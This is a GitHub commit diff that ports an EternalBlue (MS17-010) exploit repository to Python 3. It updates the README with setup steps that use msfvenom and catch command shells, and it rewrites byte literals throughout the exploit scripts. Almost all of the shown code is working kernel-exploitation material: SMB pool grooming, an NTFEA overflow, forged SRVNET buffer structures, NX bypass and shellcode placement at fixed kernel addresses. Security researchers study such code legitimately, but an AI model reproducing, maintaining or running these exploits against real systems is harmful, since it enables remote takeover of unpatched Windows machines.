Upgrading code to support python3 (#20)

* upgrading code to support python3

* add requirements/dependency clarification

Co-authored-by: 3ndG4me <3ndG4me@protonmail.com>
This commit is contained in:
Casey Erdmann
2020-10-10 16:37:53 -04:00
committed by GitHub
co-authored by 3ndG4me
parent 55bdb3f88d
commit 4381d6a643
6 changed files with 89 additions and 75 deletions
+14 -1
View File
@@ -11,8 +11,21 @@ Included is also an enternal blue checker script that allows you to test if your
run `python eternal_checker.py <TARGET-IP>`
# Requirements
Core exploit code requires impacket and the `mysmb.py` library (included with the repo). To install any requirements simply use pip on the `requirements.txt` file. It's always recommended you use a virtual environment like `venv` when installing python dependencies, but use whatever you like.
Additionally, the helper scripts below require the Metasploit Framework to be installed. At minimum you will need `msfvenom` for the `shell_prep.sh` but stageless command shells can be caught like any normal command shell without the use of Metasploit's multi/handler. Otherwise, simply install the metasploit framework and insure it is in your path.
Keep in mind `python2` is *not* officially supported anymore. The original exploit code that is provided was initially built for python2, going forward any errors discovered will be adjusted for insuring the code works with python3 instead of python2. Instructions below assume python/pip are `python3` by default, so if you are using `python2` update based on your own paths when necessary and remember, it is *NOT* officially supported by this repo.
## Python2
`pip2.7 install -r requirements.txt`
## Python3
`pip install -r requirements.txt`
## TODO:
1. Testing with non-msfvenom shellcode
- [x] Validate python3 compatibility
- [ ] Testing with non-msfvenom shellcode
## VIDEO TUTORIALS:
- https://www.youtube.com/watch?v=p9OnxS1oDc0
+27 -27
View File
@@ -86,9 +86,9 @@ PASSWORD=''
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
NTFEA_SIZE = 0x9000
ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
ntfea9000 = (pack('<BBH', 0, 0, 0) + b'\x00')*0x260 # with these fea, ntfea size is 0x1c80
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + b'\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + b'\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
'''
Reverse from srvnet.sys (Win2012 R2 x64)
@@ -179,15 +179,15 @@ TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
# MappedSystemVa = PTE_ADDR+7 - 0x7f
SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
fakeSrvNetBufferX64Nx = '\x00'*16
fakeSrvNetBufferX64Nx = b'\x00'*16
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa
@@ -201,15 +201,15 @@ feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
def createFakeSrvNetBuffer(sc_size):
# 0x180 is size of fakeSrvNetBufferX64
totalRecvSize = 0x80 + 0x180 + sc_size
fakeSrvNetBufferX64 = '\x00'*16
fakeSrvNetBufferX64 = b'\x00'*16
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
return fakeSrvNetBufferX64
@@ -235,14 +235,14 @@ def createFeaList(sc_size):
#
# code path to get code exection after this struct is controlled
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = ('\x00'*16)*5
fake_recv_struct = (b'\x00'*16)*5
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
fake_recv_struct += ('\x00'*16)*10
fake_recv_struct += (b'\x00'*16)*10
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += (b'\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address
@@ -303,7 +303,7 @@ def createSessionAllocNonPaged(target, size):
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
sessionSetup['Data'] = pack('<H', reqSize) + b'\x00'*20
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
@@ -325,7 +325,7 @@ def createSessionAllocNonPaged(target, size):
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
# UnicodePasswordLen field is in Reserved for extended security format.
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + b'\x00'*16
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
@@ -375,7 +375,7 @@ def send_trans2_second(conn, tid, data, displacement):
if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
transCommand['Data']['Pad2'] = b'\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
@@ -412,7 +412,7 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
padBytes = b'\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
@@ -423,7 +423,7 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
transCommand['Data']['Pad2'] = b'\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
@@ -462,19 +462,19 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
# this method is for allocating big nonpaged pool on target
def createConnectionWithBigSMBFirst80(target, for_nx=False):
sk = socket.create_connection((target, 445))
pkt = '\x00' + '\x00' + pack('>H', 0x8100)
pkt = b'\x00' + b'\x00' + pack('>H', 0x8100)
# There is no need to be SMB2 because we want the target free the corrupted buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid
pkt += 'BAAD' # can be any
pkt += b'BAAD' # can be any
if for_nx:
# MUST set no delay because 1 byte MUST be sent immediately
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
pkt += '\x00'*0x7b # another byte will be sent later to disabling NX
pkt += b'\x00'*0x7b # another byte will be sent later to disabling NX
else:
pkt += '\x00'*0x7c
pkt += b'\x00'*0x7c
sk.send(pkt)
return sk
@@ -498,13 +498,13 @@ def exploit(target, shellcode, numGroomConn):
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)
progress = send_big_trans2(conn, tid, 0, feaList, b'\x00'*30, len(feaList)%4096, False)
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
nxconn = smb.SMB(target, target)
nxconn.login(USERNAME, PASSWORD)
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, b'\x00'*30, len(feaList)%4096, False)
# create some big buffer at server
# this buffer MUST NOT be big enough for overflown buffer
@@ -545,7 +545,7 @@ def exploit(target, shellcode, numGroomConn):
# one of srvnetConn struct header should be modified
# send '\x00' to disable nx
for sk in srvnetConn:
sk.send('\x00')
sk.send(b'\x00')
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# second trigger, place fake struct and shellcode
+18 -18
View File
@@ -73,13 +73,13 @@ Shellcode note:
NTFEA_SIZE = 0x11000
# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page
ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde
ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + b'A'*0xffde
ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc
ntfea11000 = (pack('<BBH', 0, 0, 0) + b'\x00')*600 # with these fea, ntfea size is 0x1c20
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + b'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc
ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec
ntfea1f000 = (pack('<BBH', 0, 0, 0) + b'\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + b'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec
ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }
@@ -157,7 +157,7 @@ TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000
fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
fakeSrvNetBufferNsa += '\x00'*16
fakeSrvNetBufferNsa += b'\x00'*16
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
@@ -171,9 +171,9 @@ fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Proc
# this is for show what fields need to be modified
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16 # 0x40
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += b'\x00'*16 # 0x40
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
@@ -204,16 +204,16 @@ feaList += pack('<BBH', 0x12, 0x34, 0x5678)
# code path to get code exection after this struct is controlled
# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = pack('<QII', 0, 3, 0)
fake_recv_struct += '\x00'*16
fake_recv_struct += b'\x00'*16
fake_recv_struct += pack('<QII', 0, 3, 0)
fake_recv_struct += ('\x00'*16)*7
fake_recv_struct += (b'\x00'*16)*7
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself)
fake_recv_struct += '\x00'*16
fake_recv_struct += b'\x00'*16
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY
fake_recv_struct += ('\x00'*16)*11
fake_recv_struct += (b'\x00'*16)*11
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += (b'\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one)
@@ -292,7 +292,7 @@ def createSessionAllocNonPaged(target, size):
# UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
sessionSetup['Data'] = pack('<H', reqSize) + b'\x00'*20
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
@@ -456,14 +456,14 @@ def createConnectionWithBigSMBFirst80(target):
# Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
sk = socket.create_connection((target, 445))
# For this exploit, use size is 0x11000
pkt = '\x00' + '\x00' + pack('>H', 0xfff7)
pkt = b'\x00' + b'\x00' + pack('>H', 0xfff7)
# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid
pkt += 'BAAD' # can be any
pkt += '\x00'*0x7c
pkt += b'BAAD' # can be any
pkt += b'\x00'*0x7c
sk.send(pkt)
return sk
+26 -26
View File
@@ -55,9 +55,9 @@ PASSWORD=''
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
NTFEA_SIZE = 0x9000
ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
ntfea9000 = (pack('<BBH', 0, 0, 0) + b'\x00')*0x260 # with these fea, ntfea size is 0x1c80
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + b'\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + b'\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
'''
Reverse from srvnet.sys (Win2012 R2 x64)
@@ -148,15 +148,15 @@ TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
# MappedSystemVa = PTE_ADDR+7 - 0x7f
SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
fakeSrvNetBufferX64Nx = '\x00'*16
fakeSrvNetBufferX64Nx = b'\x00'*16
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa
@@ -170,15 +170,15 @@ feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
def createFakeSrvNetBuffer(sc_size):
# 0x180 is size of fakeSrvNetBufferX64
totalRecvSize = 0x80 + 0x180 + sc_size
fakeSrvNetBufferX64 = '\x00'*16
fakeSrvNetBufferX64 = b'\x00'*16
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
return fakeSrvNetBufferX64
@@ -204,14 +204,14 @@ def createFeaList(sc_size):
#
# code path to get code exection after this struct is controlled
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = ('\x00'*16)*5
fake_recv_struct = (b'\x00'*16)*5
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
fake_recv_struct += ('\x00'*16)*10
fake_recv_struct += (b'\x00'*16)*10
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += (b'\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address
@@ -272,7 +272,7 @@ def createSessionAllocNonPaged(target, size):
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
sessionSetup['Data'] = pack('<H', reqSize) + b'\x00'*20
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
@@ -294,7 +294,7 @@ def createSessionAllocNonPaged(target, size):
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
# UnicodePasswordLen field is in Reserved for extended security format.
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + b'\x00'*16
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
@@ -381,7 +381,7 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
padBytes = b'\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
@@ -392,7 +392,7 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
transCommand['Data']['Pad2'] = b'\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
@@ -431,19 +431,19 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
# this method is for allocating big nonpaged pool on target
def createConnectionWithBigSMBFirst80(target, for_nx=False):
sk = socket.create_connection((target, 445))
pkt = '\x00' + '\x00' + pack('>H', 0x8100)
pkt = b'\x00' + b'\x00' + pack('>H', 0x8100)
# There is no need to be SMB2 because we want the target free the corrupted buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid
pkt += 'BAAD' # can be any
pkt += b'BAAD' # can be any
if for_nx:
# MUST set no delay because 1 byte MUST be sent immediately
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
pkt += '\x00'*0x7b # another byte will be sent later to disabling NX
pkt += b'\x00'*0x7b # another byte will be sent later to disabling NX
else:
pkt += '\x00'*0x7c
pkt += b'\x00'*0x7c
sk.send(pkt)
return sk
@@ -467,13 +467,13 @@ def exploit(target, shellcode, numGroomConn):
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)
progress = send_big_trans2(conn, tid, 0, feaList, b'\x00'*30, len(feaList)%4096, False)
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
nxconn = smb.SMB(target, target)
nxconn.login(USERNAME, PASSWORD)
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, b'\x00'*30, len(feaList)%4096, False)
# create some big buffer at server
# this buffer MUST NOT be big enough for overflown buffer
@@ -514,7 +514,7 @@ def exploit(target, shellcode, numGroomConn):
# one of srvnetConn struct header should be modified
# send '\x00' to disable nx
for sk in srvnetConn:
sk.send('\x00')
sk.send(b'\x00')
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# second trigger, place fake struct and shellcode
+2 -2
View File
@@ -257,8 +257,8 @@ class MYSMB(smb.SMB):
pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE
self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse)
req = str(pkt)
return '\x00'*2 + pack('>H', len(req)) + req # assume length is <65536
req = pkt.getData()
return b'\x00'*2 + pack('>H', len(req)) + req
def send_raw(self, data):
self.get_socket().send(data)
+1
View File
@@ -0,0 +1 @@
impacket